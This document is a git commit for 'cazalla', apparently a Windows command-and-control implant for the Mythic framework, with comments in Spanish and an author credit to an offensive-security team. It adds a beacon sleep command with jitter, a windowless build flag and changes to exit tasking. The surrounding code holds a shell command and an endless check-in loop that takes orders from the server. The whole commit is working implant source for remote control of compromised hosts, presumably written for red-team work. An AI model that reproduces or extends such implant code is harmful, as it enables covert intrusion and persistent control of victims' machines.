v0.4: funcion de sleep y pequeñas mejoras

This commit is contained in:
marcos.luna
2025-04-04 11:56:40 +02:00
parent c29f059fff
commit fba98e461a
11 changed files with 186 additions and 19 deletions
@@ -1,7 +1,7 @@
# Compiler
CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -s -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
DFLAGS = -D_DEBUG
# Directories
@@ -26,7 +26,7 @@ debug_dll: $(BUILD_DIR)/cazalla-debug.dll
# Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
@@ -16,7 +16,7 @@ VOID cazallaMain() {
cazallaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado = proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = sleep_time;
cazallaConfig->tiempoSleep = sleep_time * 1000;
PAnalizador respuestaAnalizador = checkin();
@@ -26,8 +26,10 @@ VOID cazallaMain() {
}
parseChecking(respuestaAnalizador);
while (TRUE)
while (TRUE){
rutina();
}
}
VOID setUUID(PCHAR newUUID) {
@@ -20,6 +20,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
}
else if (tarea == EXIT_CMD) {
cerrarCallback(analizadorTarea);
}else if(tarea == SLEEP_CMD){
sleep(analizadorTarea);
}
}
@@ -7,6 +7,7 @@
#include "paquete.h"
#include "consola.h"
#include "cerrarCallback.h"
#include "sleep.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
@@ -16,6 +17,8 @@
#define NUMBER_OF_TASKS 1
#define EXIT_CMD 0x80
#define SLEEP_CMD 0x38
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
@@ -0,0 +1,45 @@
#include "sleep.h"
#include "cazalla.h"
BOOL sleep(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
UINT32 tiempoSleep = getInt32(argumentos);
UINT32 maxVarianza = getInt32(argumentos);
if (maxVarianza < 1) {
maxVarianza = 1;
}
const int minVarianza = 1;
const int rangoVarianza = maxVarianza / 2;
int aleatorio = aleatorioInt32(0, rangoVarianza);
tiempoSleep += aleatorio;
if (tiempoSleep < minVarianza) {
tiempoSleep = minVarianza;
}
if (cazallaConfig == NULL) {
_err("Error: cazallaConfig no ha sido inicializado.\n");
return FALSE;
}
printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
tiempoSleep = tiempoSleep * 1000;
cazallaConfig->tiempoSleep = tiempoSleep;
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addInt32(respuestaTarea, tiempoSleep);
mandarPaquete(respuestaTarea);
return TRUE;
}
@@ -0,0 +1,13 @@
#pragma once
#ifndef SLEEP_H
#define SLEEP_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
#include "utils.h"
BOOL sleep(PAnalizador argumentos);
#endif
@@ -9,7 +9,6 @@ int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t b64tamanoCodificado(size_t inlen) {
size_t ret;
@@ -23,6 +22,12 @@ size_t b64tamanoCodificado(size_t inlen) {
return ret;
}
int aleatorioInt32(int min, int max){
return (rand() % (max - min + 1)) + min;
}
char* b64Codificado(const unsigned char* in, SIZE_T len) {
char* out;
@@ -2,6 +2,8 @@
#ifndef UTILS
#define UTILS
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include "debug.h"
@@ -18,7 +20,7 @@ SIZE_T b64tamanoDecodificado(const char* in);
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
char* b64Codificado(const unsigned char* in, SIZE_T len);
size_t b64tamanoCodificado(size_t inlen);
int aleatorioInt32(int min, int max);
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
@@ -17,20 +17,21 @@ class ExitCommand(CommandBase):
cmd = "exit"
needs_admin = False
help_cmd = "exit"
description = "Salir del Callback"
description = "Task para cerrar el proceso del implante"
version = 1
supported_ui_features = ["callback_table:exit"]
author = "Kaseya OFSTeam"
argument_class = ExitArguments
attributes = CommandAttributes(
builtin=True,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
)
attackmapping = []
async def create_tasking(self, task: MythicTask) -> MythicTask:
return task
attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
type = taskData.args.get_arg("type")
response.DisplayParams = type
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
@@ -0,0 +1,83 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import logging
logging.basicConfig(level=logging.INFO)
class SleepArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="seconds",
type=ParameterType.Number,
description="Sleep en segundos",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
CommandParameter(
name="jitter",
type=ParameterType.Number,
description="Porcentaje del jitter en segundos",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=2
)]
),
]
async def parse_arguments(self):
logging.info(f"parse_arguments : {self.command_line}")
if len(self.command_line) == 0:
raise ValueError("Must supply a command to run")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
logging.info(f"parse_dictionary : {dictionary_arguments}")
seconds = dictionary_arguments.get("seconds")
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
if seconds is None:
raise ValueError("The 'seconds' key is required in the dictionary.")
if not isinstance(seconds, int) or seconds < 0:
raise ValueError("The 'seconds' value must be a non-negative integer.")
# Explicitly map parsed dictionary values to parameters
self.add_arg("seconds", seconds)
self.add_arg("jitter", jitter)
class SleepCommand(CommandBase):
cmd = "sleep"
needs_admin = False
help_cmd = "sleep <segundos> [jitter]"
description = "Cambiar el sleep."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1029"]
argument_class = SleepArguments
attributes = CommandAttributes(
builtin=True,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -6,7 +6,8 @@ commands = {
"checkin": {"hex_code": 0xf1, "input_type": None},
"post_response": {"hex_code": 0x01, "input_type": None},
"shell": {"hex_code": 0x54, "input_type": "string"},
"exit": {"hex_code": 0x08, "input_type":None}
"exit": {"hex_code": 0x08, "input_type":None},
"sleep": {"hex_code":0x38, "input_type":"int"}
}
@@ -35,8 +36,18 @@ def responseTasking(tasks):
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "int":
print("Unsupported type (for now...)")
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
data += task["id"].encode()
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4, "big")
for param in parameters:
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
dataToSend = dataHead + dataTask
return dataToSend